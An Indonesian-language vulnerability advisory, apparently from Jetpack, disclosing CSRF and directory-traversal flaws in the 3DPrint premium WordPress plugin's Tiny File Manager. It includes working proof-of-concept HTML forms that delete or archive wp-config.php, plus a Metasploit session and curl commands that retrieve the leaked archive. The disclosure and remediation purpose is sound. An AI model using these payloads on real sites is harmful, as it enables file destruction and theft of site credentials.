Kerentanan Ditemukan di 3DPrint Premium Plugin

Diterbitkan: 2022-12-13

Versi premium dari plugin WordPress 3DPrint rentan terhadap Cross Site Request Forgery (CSRF) dan serangan traversal direktori saat fungsi pengelola file diaktifkan. Kerentanan ini memungkinkan penyerang menghapus atau mendapatkan akses ke file dan direktori arbitrer di situs yang terpengaruh, termasuk file sensitif seperti file konfigurasi situs, yang sekali lagi dapat menyebabkan pengambilalihan situs secara penuh.

Baru-baru ini, saat melihat beberapa kemungkinan positif palsu yang ditandai oleh tanda tangan eksperimental kami, kami menemukan beberapa kode yang membingungkan kami di plugin premium 3DPrint.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

Cuplikan ini ditemukan di modul Tiny File Manager PHP yang terletak di dalam direktori plugin, tetapi tidak ditemukan di proyek Tiny File Manager yang asli. Tampaknya disuntikkan dengan maksud untuk mengintegrasikannya dengan kontrol akses berbasis peran WordPress.

Memuat file kode WordPress seperti ini di modul yang tidak terkait biasanya merupakan tanda bahwa ada sesuatu yang salah, jadi kami memutuskan untuk menyelidiki lebih lanjut.

Pembaca yang jeli akan melihat bahwa akses ke modul terbatas pada pengguna dengan peran Administrator, tetapi tidak ada pemeriksaan nonce. Tidak apa-apa jika Tiny File Manager memiliki perlindungan CSRF-nya sendiri, tetapi karena tidak demikian, sepertinya kode ini mungkin rentan terhadap serangan CSRF. (Tiny File Manager telah menambahkan perlindungan CSRF setelah kami memberi tahu mereka tentang masalah ini. Versi 2.5.0 dan yang lebih baru seharusnya jauh lebih aman untuk digunakan!)

Faktor yang menyulitkan adalah Tiny File Manager tidak termasuk dalam paket saat menginstal 3DPrint premium tetapi diunduh sesuai permintaan saat diaktifkan. Versi yang diunduh pada saat penulisan adalah versi 2.4.4, tetapi telah banyak dimodifikasi oleh pengembang 3DPrint, dan diunduh dari domain mereka, tidak langsung dari repositori Tiny File Manager.

Sebagian besar perubahan yang dilakukan menghapus fungsionalitas yang tidak digunakan oleh plugin, serta beberapa perubahan lainnya, seperti hard-coding path, membatasi apa yang seharusnya dapat diakses oleh pengelola file. Selain itu, fitur autentikasi dan otorisasi yang ada di dalam Tiny File Manager telah dinonaktifkan dan diganti dengan integrasi di atas dengan sistem peran WordPress.

Kami telah menemukan beberapa kerentanan di mana kombinasi kontrol akses yang dimodifikasi dan penyertaan Tiny File Manager di plugin 3DPrint dapat dieksploitasi oleh penyerang luar. Ini termasuk menghapus atau mengunduh file sensitif, berpotensi memungkinkan pengambilalihan situs secara penuh. Kerentanan ini mengeksploitasi kurangnya pemeriksaan nonce di kontrol akses yang dimodifikasi, bersama dengan kerentanan traversal direktori di Tiny File Manager itu sendiri.

Kami telah mencoba menghubungi vendor plugin 3DPrint dan proyek Tiny File Manager. Dari jumlah tersebut, hanya pengembang proyek Tiny File Manager yang menanggapi kami dan memperbaiki masalah yang kami kirimkan kepada mereka.

Lihat WAF baru kami sebagai bagian dari Pemindaian Jetpack, yang akan melindungi dari serangan ini secara langsung. Saat ini dalam versi beta. Jetpack Scan juga akan mendeteksi komponen yang rentan, dan membantu menghapusnya.

Karena modul Tiny File Manager diunduh dan diinstal sesuai permintaan, belum tentu ada korespondensi antara versi plugin dan versi Tiny File Manager yang digunakan. Namun, setelah diinstal, sepertinya tidak ada cara mudah untuk memperbarui modul Tiny File Manager selain menghapusnya secara manual dan mengaktifkannya kembali.

Untuk alasan ini, kami menganggap semua versi 3DPrint rentan terhadap kerentanan di bawah ini jika pengelola file telah diaktifkan.

Kerentanan

1. CSRF yang mengarah ke penghapusan file/direktori sewenang-wenang

  • Pengaya: 3DPrint
  • Siput plugin: 3dprint
  • Plugin URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versi rentan: semua
  • Versi tetap: tidak ada
  • Skor CVSS: 8,2 (Tinggi, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

Fungsionalitas penghapusan massal dalam versi Tiny File Manager yang disertakan (versi 2.4.4) tidak terlindungi dengan baik terhadap traversal direktori dan juga tidak memiliki perlindungan CSRF. Hal ini memungkinkan penyerang mengelabui admin agar menghapus banyak file atau bahkan direktori di server secara rekursif.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

Ini dapat dieksploitasi dengan meneruskan group dan delete parameter POST ke nilai apa pun, dan meneruskan array file/direktori untuk dihapus dalam parameter file . Variabel $new_path adalah gabungan sederhana dari FM_ROOT_PATH dan nama file yang diteruskan, diteruskan ke fungsi hapus rekursif fm_rdelete() . Karena fm_rdelete() tidak melakukan validasi apa pun terhadap nama jalur yang diberikan, ini membuat kode ini rentan terhadap serangan traversal direktori.

Berikut adalah contoh bukti konsep:

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

Semua jalur relatif terhadap direktori wp-content/uploads/p3d/ di server. Ketika admin yang masuk mengklik tombol untuk menjadi kaya, unggahan mereka dari tahun 2020 akan dihapus bersama dengan file situs wp-config.php .

2. CSRF mengarah ke unduhan sewenang-wenang

  • Pengaya: 3DPrint
  • Siput plugin: 3dprint
  • Plugin URI: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versi rentan: semua
  • Versi tetap: tidak ada
  • Skor CVSS: 7,4 (Tinggi, CVSS:3,1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

Fungsionalitas dalam versi Tiny File Manager (versi 2.4.4) yang disertakan untuk mengunduh arsip zip atau tar dari file yang dipilih tidak terlindungi dari traversal direktori dan tidak memiliki perlindungan CSRF. Hal ini memungkinkan penyerang mengelabui admin agar membuat arsip zip atau tar dengan file dan direktori arbitrer dari situs, termasuk file konfigurasi atau konten sensitif lainnya.

Arsip ditempatkan di direktori unggahan 3DPring normal, wp-content/uploads/p3d/ . Nama file hanya dapat dikontrol sebagian oleh penyerang tetapi cukup dapat diprediksi sehingga relatif mudah untuk dilakukan dengan kekerasan. Jika mereka tahu pada jam berapa permintaan palsu itu dikirim, itu juga sepele untuk membuat tebakan.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

Dengan mengirimkan permintaan posting dengan group dan variabel zip atau tar yang disetel ke nilai apa pun akan membuat arsip dengan file yang ditentukan dalam parameter file . Tanggal dan waktu saat ini akan ditambahkan ke nama file untuk arsip, yang akan memiliki nama dasar yang sama dengan file yang diarsipkan, atau "arsip" jika beberapa file diarsipkan bersama. Arsip akan dibuat di direktori unggahan 3DPrint, tetapi nama jalur file tidak dibersihkan, dan dapat berisi jalur di luar direktori ini, membuatnya rentan terhadap serangan traversal direktori.

Untuk mengeksploitasi kerentanan ini, kami membuat modul muatan sederhana untuk Metasploit yang berfungsi sebagai formulir pengiriman mandiri dengan muatan berbahaya ke situs yang rentan. Bukti muatan konsep yang dikirim adalah:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Karena modul Metasploit akan merekam stempel waktu kapan formulir dikirim, itu memudahkan untuk menebak nama file yang benar untuk arsip yang dibuat.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Perhatikan bagaimana kita dapat menyimpulkan nama file dari arsip yang dihasilkan dari stempel waktu permintaan. Dalam hal ini, penampung server menjalankan satu zona waktu di belakang zona waktu lokal.

Rekomendasi

Karena versi pengelola file yang diinstal tidak bergantung pada versi plugin yang diinstal, kami tidak dapat merekomendasikan versi plugin yang tetap.

Kami juga belum menemukan cara mudah untuk memperbarui modul pengelola file jika versi baru dirilis di kemudian hari.

Untuk alasan ini, kami menganggap semua versi plugin premium 3DPrint rentan jika komponen pengelola file diaktifkan.

Rekomendasi kami adalah memastikan modul pengelola file dinonaktifkan, dan file tersebut dihapus dari situs.

Cara termudah adalah dengan menghapus file wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php jika ada.

Kesimpulan

Semua versi plugin premium 3DPrint rentan terhadap CSRF dan serangan traversal direktori jika modul pengelola file diaktifkan di situs. Ini tidak memengaruhi versi gratis plugin yang diunduh dari repositori plugin WordPress.org.

Di Jetpack, kami bekerja keras untuk memastikan situs web Anda terlindungi dari jenis kerentanan ini. Kami menyarankan agar Anda memiliki rencana keamanan untuk situs Anda yang mencakup pemindaian dan pencadangan file berbahaya. Bundel Keamanan Jetpack adalah salah satu opsi keamanan WordPress yang bagus untuk memastikan situs dan pengunjung Anda aman. Produk ini mencakup pemindaian malware waktu-nyata, pencadangan situs, perlindungan komentar dan formulir spam dari Akismet, perlindungan serangan brute force, dan banyak lagi.

Kredit

Riset oleh Harald Eilertsen, dengan umpan balik dan koreksi yang diberikan oleh Benedict Singer, Rob Pugh, Jen Swisher, dan tim Pemindaian Jetpack.

Linimasa

  • 08-09-2022: Kami diberi tahu tentang temuan tersebut dan mulai menyelidiki
  • 25-10-2022: Vendor yang dihubungi pertama kali
  • 01-11-2022: Vendor dihubungi untuk kedua kalinya melalui saluran yang berbeda
  • 08-11-2022: Kerentanan penghapusan massal diungkapkan (CVE-2022-3899)
  • 15-11-2022: Menghubungi pengembang Tiny File Manager tentang kurangnya perlindungan CSRF, dan kerentanan traversal direktori.
  • 19-11-2022: Tiny File Manager 2.5.0 dirilis, memperbaiki masalah CSRF tetapi bukan masalah traversal direktori.
  • 13-12-2022: Pengungkapan publik